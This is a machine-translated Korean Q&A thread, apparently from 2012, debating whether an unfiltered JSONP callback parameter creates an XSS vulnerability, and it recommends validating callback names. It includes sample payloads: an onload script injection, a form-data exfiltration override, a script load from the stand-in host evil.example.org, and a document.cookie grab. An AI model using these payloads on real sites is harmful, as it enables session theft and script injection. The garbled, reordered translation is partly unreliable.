겉으로 보이는 jsonp xss 취약점

우리 고객 중 일부는 JSONP 엔드 포인트에서 인식 된 XSS 취약점에 관해 의견을 같이했지만 실제로 취약점이 있는지 여부에 대해서는 동의하지 않습니다. 내가 뭔가를 놓치지 않았는지 확인하기 위해 지역 사회의 의견을 얻고 싶었습니다.겉으로 보이는 jsonp xss 취약점

그래서, 어떤 JSONP 시스템, 우리는 같은 엔드 포인트가 : 고객이 불평 한

callback123({"foo":"bar"});

: CB를 매개 변수의 값이 응답에 다시 재생됩니다

http://foo.com/jsonp?cb=callback123

우리는 CB 매개 변수에서 HTML을 필터링하지 않으므로 다음과 같은 예제를 고안합니다.

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--

콘텐츠 유형이 text/html 인 URL의 경우 분명 브라우저가 해당 HTML을 렌더링 한 다음 잠재적 인 악의적 인 JavaScript를 onload 핸들러에서 실행하는 문제가 있습니다. 쿠키를 훔쳐서 공격자 사이트에 제출하거나 심지어 피싱에 대한 가짜 로그인 화면을 생성하는 데 사용될 수 있습니다. 사용자가 도메인을 확인하고 신뢰할 수있는 도메인임을 확인하면 나이가 들고 로그인합니다.

그러나이 경우 콘텐츠 유형 헤더를 application/javascript으로 설정하여 여러 브라우저에서 다양한 동작을 발생시킵니다. ie Firefox는 원시 텍스트를 표시하지만 IE는 "다른 이름으로 저장 ..."대화 상자를 엽니 다. 나는 그 중 하나가 특히 악용 될 수 있다고 생각하지 않습니다. 파이어 폭스 사용자는 악의적 인 텍스트를 읽지 않고 다리에서 뛰어 내리고 그다지 생각할 필요가 없다고 말합니다. 그리고 IE 사용자는 대화 상자로 저장하고 취소를 누르면 혼란 스러울 수 있습니다.

IE 사용자가 .js 파일을 저장하고 여는 것을 속여서 Microsoft JScript 엔진을 통해 사용자 컴퓨터에 대한 모든 액세스 권한을 얻는 경우를 볼 수 있습니다. 하지만 그럴 것 같지 않습니다. 그게 가장 큰 위협인가요? 아니면 내가 놓친 다른 취약점이 있습니까?

(당연히 일부 자바 스크립트 식별자 만 받아 들일 수 있도록 필터링을 적용 할 것입니다. 다만 놓친 다른 위협에 대한 대화 상자가 필요했습니다. .)

출처

2012-01-05 Mike Ruhlin

" 내가 뭘 놓쳤을 지 모르는 다른 위협 "이라는 질문이 있습니다. 고객이"불만을 털어 놓았습니다 "라고 하나님 께 감사드립니다. 그들은 귀하의 사이트를 해킹하지 않았 음에 놀랐습니다! – TheBlackBenzKid

또한. 문서.쓰기 및 innerHTML - 내 nginx 서버에서 응용 프로그램/자바 스크립트 헤더를 사용할 때 솔루션으로 이러한 두 가지 명령을 발견 - 내 IE 또는 다른 문제를 해결합니다. 이 페이지는 보통 텍스트 또는 코드를 실행합니다. – TheBlackBenzKid

코드를 삽입하는 작업을 중단시킬 수있는 방법은 없습니다.

http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo과 같은 URL을 상상해보십시오. 클라이언트가 JSONP를 처리하는 방법에 따라 이것이 수신되면 JS를 임의의 복잡성으로 실행할 수있는 기능을 도입 할 수 있습니다.

공격 벡터는 다음과 같습니다. http://example.com/jsonp을 제외한 모든 URL에 대해 투명한 포워딩 프록시 인 HTTP 프록시를 생각해보십시오. 여기서는 쿼리 문자열의 cb 부분을 사용하고 그 전에 일부 악의적 인 JS를 앞에두고 리디렉션합니다 해당 URL에.

출처

2012-01-05 22:24:47 gsnedders

Ehhh, 해커가 자신의 통제하에있는 악의적 인 프록시를 통해 사용자를 라우트했다는 것을 전제로합니다. 해커는 JSONP 매개 변수를 사용할 필요가 없습니다. 그는 원하는 곳마다 원하는 것을 삽입 할 수 있습니다. –

사실 --- 그렇게하면 훨씬 더 미묘하게 수행 할 수 있습니다. – gsnedders

콜백 이름 ("cb"값)이 이전에 입력 한 다른 값에서 맹목적으로 파생 된 경우 사이트에서 XSS 취약점이 발생합니다. 사용자가 JSONP API를 통해 JavaScript를 보내고 다시 돌려주는 URL을 수동으로 만들 수 있다는 사실은 브라우저의 JavaScript 콘솔을 통해 똑같은 JavaScript를 직접 실행할 수 있다는 사실보다 더 흥미롭지 않습니다.

이제 양식에서 필터링되지 않은 사용자 입력을 사용하는 콜백에 사이트를 다시 게시하거나 이전에 데이터베이스에 저장 한 다른 양식의 양식을 더 교묘하게 배제해야하는 경우 문제가 발생합니다. .다음 값이 x"+alert("haxored")+"y이었다 스크립팅 (XSS) 공격이 될 것이라고 의견을

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })

: 마찬가지로, 경우에 당신은 당신의 응답으로 "설명"필드를했다. 그러나 좋은 JSON 인코더는 큰 따옴표 문자를 인용하여이를 수정합니다.

즉, 콜백 이름이 유효한 JavaScript 식별자인지 확인하는 데 아무런 해가 없습니다. 아무리해도 할 수있는 일은별로 없습니다. 정의에 따르면 JSONP 서비스는 제대로 작동하기 위해 클라이언트 페이지에서 원하는 모든 작업을 수행해야합니다.

출처

2012-01-05 22:32:39 Pointy

Pointy가 나타내는 바와 같이, URL을 직접 호출하는 것은 악용 될 수 없습니다. 그러나 자신의 자바 스크립트 코드가 사용자 제공 데이터로 JSON 서비스를 호출하고 문서에 대한 응답의 값을 렌더링하거나 eval() 응답을 반환합니다 (현재 또는 미래에 앱이 발전함에 따라). 시간이 지남에 따라) 진정으로 악용 가능한 XSS 취약점이 있습니다.

개인적으로 나는 개인적으로이 취약점이 오늘날에도 악용 될 수는 없지만 여전히 위험이 낮은 것으로 생각합니다. 앞으로 해결해야 할 부분과 미래의 어떤 시점에서 위험도가 높은 취약점을 부분적으로 초래할 수있는 위험을 제거하는 것이 어떻습니까?

출처

2012-01-06 16:26:14 Cheekysoft

그들의 주입해야 무언가 그것은 당신이 그 $_GET['callback'] (가정 PHP)를 확인하기 위해 상대적으로 사소한 유효한 자바 스크립트 함수 이름입니다 것

</script><h1>pwned</h1>있다.

JSONP의 요점은 XSS 유형의 취약점을 시도하고 막는 브라우저 제한을 벗어나므로 일부 수준에서는 JSONP 제공자와 요청 사이트 간의 신뢰가 필요합니다.

그러나 클라이언트가 사용자 입력을 현명하게 처리하지 않는 경우에만 취약점이 나타납니다. 모든 JSONP 콜백 이름을 하드 코드하면 취약점이 발생할 가능성이 없습니다. 부를 것이다

http://example.org/api.php 
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });

및 HTTP (들) :

출처

2012-01-06 16:38:48

또 다른 예는 두 개의 이와 같은 요청을 할 것 //evil.example.org/x.js는 것 요청 :

http://example.org/api.php 
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:

부를 것이다 :

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });

가능성은 무한합니다.

JSON 콜백을 살균하는 예제는 Do I need to sanitize the callback parameter from a JSONP call?을 참조하십시오.

또한 Internet Explorer는 Content-Type 헤더를 무시합니다. 그것은 고집스럽고 처음 몇 바이트에서 스스로를 찾습니다. html과 유사한 내용으로 보이면 파싱하고 텍스트/HTML로 모두 텍스트/HTML로 실행합니다 ...

출처

2012-01-10 23:31:05 Krinkle

자바 스크립트 삽입은 아무에게도 해당되지 않는다는 점에 유의하십시오. 그것은 공격자 (또는 내 SDK의 신뢰할 수있는 사용자)가 제어하는 다른 페이지에서 JSONP로 호출되는 경우에만 eval 된 상태가됩니다. document.cookie 및 window.location은 SDK 소비자의 사이트를 가리키며 액세스하지 않은 정보는 공개하지 않습니다. 그들은 기본적으로 지나치게 복잡한 구현으로 시간을 낭비하고 있습니다. –

악의적 인 HTML이 해석 될 때 조금 다릅니다. 이 경우 공격은 해커가 사용자를 속여 자신의 특수 링크를 클릭하도록하여 해커가 아닌 내 사이트의 샌드 박스에서 실행됩니다. 그래서 그는 document.domain 등을 읽을 수 있습니다. IE의 어떤 버전이 content-type을 무시할 것인지 궁금합니다. 어떤 버전의 마법 정보를 찾고 있습니까? 나는 7 8과 9를 테스트했다. 6을 더 이상 설치하지 않았지만 과거에 같은 방식으로 동작하는 것을 본 적이있다. –

겉으로 보이는 jsonp xss 취약점

답변

관련 문제